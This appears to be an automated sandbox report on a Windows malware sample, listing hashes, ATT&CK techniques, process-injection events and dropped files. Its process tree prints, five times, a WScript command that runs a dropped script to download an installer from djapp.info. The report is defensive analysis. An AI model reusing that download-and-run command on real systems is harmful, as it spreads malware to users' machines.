8764fefec0180fcfba6fd55db98c4c0d49335584a085b80ae720964c6ed95091

Analysis

max time kernel
121s
max time network
123s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
21-05-2024 15:40

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

63d263a67f3439124dc0b15f5dc36af5_JaffaCakes118.exe
Size

184KB
MD5

63d263a67f3439124dc0b15f5dc36af5
SHA1

f3aaff07c0108e4992fc627e69ef096dca97f392
SHA256

8764fefec0180fcfba6fd55db98c4c0d49335584a085b80ae720964c6ed95091
SHA512

bd9bf55e5746eef9de706de56f1deb22d897ee1bb2d7fc9effd6acb005600e2ed7bbef50f77a2e44a0a47c97897ac25c4faff901206f29bb4a20cbf0b5a85bef
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3i:/7BSH8zUB+nGESaaRvoB7FJNndnf

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 11 IoCs

Processes:

WScript.exeWScript.exeWScript.exeWScript.exeWScript.exe

flow	pid	process
6	344	WScript.exe
8	344	WScript.exe
10	344	WScript.exe
12	2540	WScript.exe
13	2540	WScript.exe
15	3024	WScript.exe
16	3024	WScript.exe
18	1508	WScript.exe
19	1508	WScript.exe
21	2084	WScript.exe
22	2084	WScript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

63d263a67f3439124dc0b15f5dc36af5_JaffaCakes118.exe

description	pid	process	target process
PID 2184 wrote to memory of 344	2184	63d263a67f3439124dc0b15f5dc36af5_JaffaCakes118.exe	WScript.exe
PID 2184 wrote to memory of 344	2184	63d263a67f3439124dc0b15f5dc36af5_JaffaCakes118.exe	WScript.exe
PID 2184 wrote to memory of 344	2184	63d263a67f3439124dc0b15f5dc36af5_JaffaCakes118.exe	WScript.exe
PID 2184 wrote to memory of 344	2184	63d263a67f3439124dc0b15f5dc36af5_JaffaCakes118.exe	WScript.exe
PID 2184 wrote to memory of 2540	2184	63d263a67f3439124dc0b15f5dc36af5_JaffaCakes118.exe	WScript.exe
PID 2184 wrote to memory of 2540	2184	63d263a67f3439124dc0b15f5dc36af5_JaffaCakes118.exe	WScript.exe
PID 2184 wrote to memory of 2540	2184	63d263a67f3439124dc0b15f5dc36af5_JaffaCakes118.exe	WScript.exe
PID 2184 wrote to memory of 2540	2184	63d263a67f3439124dc0b15f5dc36af5_JaffaCakes118.exe	WScript.exe
PID 2184 wrote to memory of 3024	2184	63d263a67f3439124dc0b15f5dc36af5_JaffaCakes118.exe	WScript.exe
PID 2184 wrote to memory of 3024	2184	63d263a67f3439124dc0b15f5dc36af5_JaffaCakes118.exe	WScript.exe
PID 2184 wrote to memory of 3024	2184	63d263a67f3439124dc0b15f5dc36af5_JaffaCakes118.exe	WScript.exe
PID 2184 wrote to memory of 3024	2184	63d263a67f3439124dc0b15f5dc36af5_JaffaCakes118.exe	WScript.exe
PID 2184 wrote to memory of 1508	2184	63d263a67f3439124dc0b15f5dc36af5_JaffaCakes118.exe	WScript.exe
PID 2184 wrote to memory of 1508	2184	63d263a67f3439124dc0b15f5dc36af5_JaffaCakes118.exe	WScript.exe
PID 2184 wrote to memory of 1508	2184	63d263a67f3439124dc0b15f5dc36af5_JaffaCakes118.exe	WScript.exe
PID 2184 wrote to memory of 1508	2184	63d263a67f3439124dc0b15f5dc36af5_JaffaCakes118.exe	WScript.exe
PID 2184 wrote to memory of 2084	2184	63d263a67f3439124dc0b15f5dc36af5_JaffaCakes118.exe	WScript.exe
PID 2184 wrote to memory of 2084	2184	63d263a67f3439124dc0b15f5dc36af5_JaffaCakes118.exe	WScript.exe
PID 2184 wrote to memory of 2084	2184	63d263a67f3439124dc0b15f5dc36af5_JaffaCakes118.exe	WScript.exe
PID 2184 wrote to memory of 2084	2184	63d263a67f3439124dc0b15f5dc36af5_JaffaCakes118.exe	WScript.exe

C:\Users\Admin\AppData\Local\Temp\63d263a67f3439124dc0b15f5dc36af5_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\63d263a67f3439124dc0b15f5dc36af5_JaffaCakes118.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2184

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1CC4.js" http://www.djapp.info/?domain=ZtKyCDkSRC.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf1CC4.exe
2⤵
- Blocklisted process makes network request
PID:344

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1CC4.js" http://www.djapp.info/?domain=ZtKyCDkSRC.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf1CC4.exe
2⤵
- Blocklisted process makes network request
PID:2540

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1CC4.js" http://www.djapp.info/?domain=ZtKyCDkSRC.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf1CC4.exe
2⤵
- Blocklisted process makes network request
PID:3024

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1CC4.js" http://www.djapp.info/?domain=ZtKyCDkSRC.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf1CC4.exe
2⤵
- Blocklisted process makes network request
PID:1508

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1CC4.js" http://www.djapp.info/?domain=ZtKyCDkSRC.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf1CC4.exe
2⤵
- Blocklisted process makes network request
PID:2084

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
Filesize
1KB

MD5
df80f9ba75076db634761b6132e0d4e3

SHA1
07983946fb660752c7cccb2ef82d01ec4c9ecc5d

SHA256
d5ff96fd8b416de93a85783192206224cf8821c240cd8ff755f2e8270153dd99

SHA512
4ec734c5d29e9ce00b00e42b627253195e8c7a158433fedfcee428e692a6501981c33d7c8a39235f8b691f087145cdbe660b430493edbeedb12588c5cdd5a66a

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464
Filesize
724B

MD5
8202a1cd02e7d69597995cabbe881a12

SHA1
8858d9d934b7aa9330ee73de6c476acf19929ff6

SHA256
58f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5

SHA512
97ba9fceab995d4bef706f8deef99e06862999734ebe6a05832c710104479c6337cbf0a76e1c1e0f91566a61334dc100d837dfd049e20da765fe49def684f9c9

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
Filesize
410B

MD5
78c1b9be6fc7583a4ed455333027781d

SHA1
8a78c65ece2274303496fd05bc4cf8553d7c04de

SHA256
167236bc6d83133a3b57709cc1e70e19f3cba97d33dae0702af9dc51760fcf73

SHA512
d8ebdeba9752ddf8d8edaf1e7fa526d74c169d6eb61a3ca47004fa380f32a2ad46ebf6c87b55c2c9531a95d8d615b025bfea7883ba303058fbc03304e32462e2

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize
344B

MD5
30d85819e0d97385a65041bdca3952f0

SHA1
d843d05953ee44d8a4b9a6a397092e967c14bb31

SHA256
910e07489a7a11fd7aabd972fca7343f797f870641b63ed1000951d980e5b392

SHA512
ecd78a64c1829713a2d572e02c23263432b407851b2070fe1871895653dbdd0680e2ea9713fa4805d12cc78458dd0a301776163d1071777c8d6ddae692547cd8

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464
Filesize
392B

MD5
267f1ee86880af5c01698ab5e7d8d44b

SHA1
c4a111203f516bd326929002ecc512bf0c108c8f

SHA256
1bfb03b494f47fdb99b882c27de340cfd15f135d55da5eb6542cbbee51738115

SHA512
d1ef3b83630285fbcb41f21f60f983d94a32500cce1eed59e5369c9fd24324dcc1e876ede85258be092d0f0dac22d144a4beb61cbd6e3491c9051f1f63da95bb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\2XHJXO3H\domain_profile[1].htm
Filesize
40KB

MD5
2ba2275ee52591d6db17068e1e5e9f00

SHA1
5ead8c5aeb386c9dd8e7764931eac17a8b6d14b2

SHA256
88af2787c1fcbc305381aeed333de31232b270677edddf6d03f7d860e221365d

SHA512
9c28c2c1ee45c81fa6ae54028a726cdb355d2bde319b3ad8d2427bcd6936aceafc592ff669185599576b0a683216c935cebc9baccec25aece1e9de80d567d2fd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\2XHJXO3H\domain_profile[1].htm
Filesize
40KB

MD5
bc088a8da0a69a71e4a4340a60b598b5

SHA1
d63af8f39c665d1492b956e5cafd03445498fbfd

SHA256
758aad416f9f618c9bbea224abce9b402f649aab7607434e0a46449d341b3514

SHA512
e5cd3af207f52179cbd3d27286a8b7b450c77dea6d702698278603d13b44ded02cccdbed3a255409b1b990a7a73c56b417def39db46e90166a95592c8dc64375

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H09CVCL3\domain_profile[1].htm
Filesize
40KB

MD5
1a5bb98a0fa199f315daf814e542bb47

SHA1
4537a96b1258e60ba9e88122afe581eb8c8e5585

SHA256
bf75af5422b8fad7064f1defd78048d88fb7230a38eafcf3cee91d406ce78c4f

SHA512
5141014734040b23dc4a9055017783fc44c9862889208db5e1113371abb19cb093dff5d9696d713a14156e4a75889cdf5cde957066615c3b01f11f99a6133aa1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H09CVCL3\domain_profile[1].htm
Filesize
6KB

MD5
5bf4551c950a18432d33c7fad56ba588

SHA1
ed5c5812e3071a935d0332542e4b97775252f754

SHA256
93c0c10e65fbacd097dbbe0361b18947c80757d22fac619a55fb6714717953b8

SHA512
dc1d19b4213414a11fb0e7802624e994dc631435e197e1ae20bea98c68df8e74322d3dd9de0dd61b03a3885616255e0e68a2bfce3efbb80cab73bcbdf5178750

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab4BDF.tmp
Filesize
68KB

MD5
29f65ba8e88c063813cc50a4ea544e93

SHA1
05a7040d5c127e68c25d81cc51271ffb8bef3568

SHA256
1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

SHA512
e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar6411.tmp
Filesize
177KB

MD5
435a9ac180383f9fa094131b173a2f7b

SHA1
76944ea657a9db94f9a4bef38f88c46ed4166983

SHA256
67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

SHA512
1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

Download Submit
C:\Users\Admin\AppData\Local\Temp\fuf1CC4.js
Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\V8KM2DN2.txt
Filesize
175B

MD5
b70c1bf44e46d0577f14872d14413401

SHA1
ee4c193568787f3b18663d8b03cec3a8d7c77722

SHA256
e23ceb640d7f74590abb38a3e7f1aaf7aea4b37615e557059e4358f341a47ee9

SHA512
32ee582932a70109c752bee53f53f0a2b7f221c862fa78379f4fc774a282d07fc15bb1fa26b8cc548eeaf5f9eb8300dc2ab791bd11d2c50f3418d7d935abe9b9

Download Submit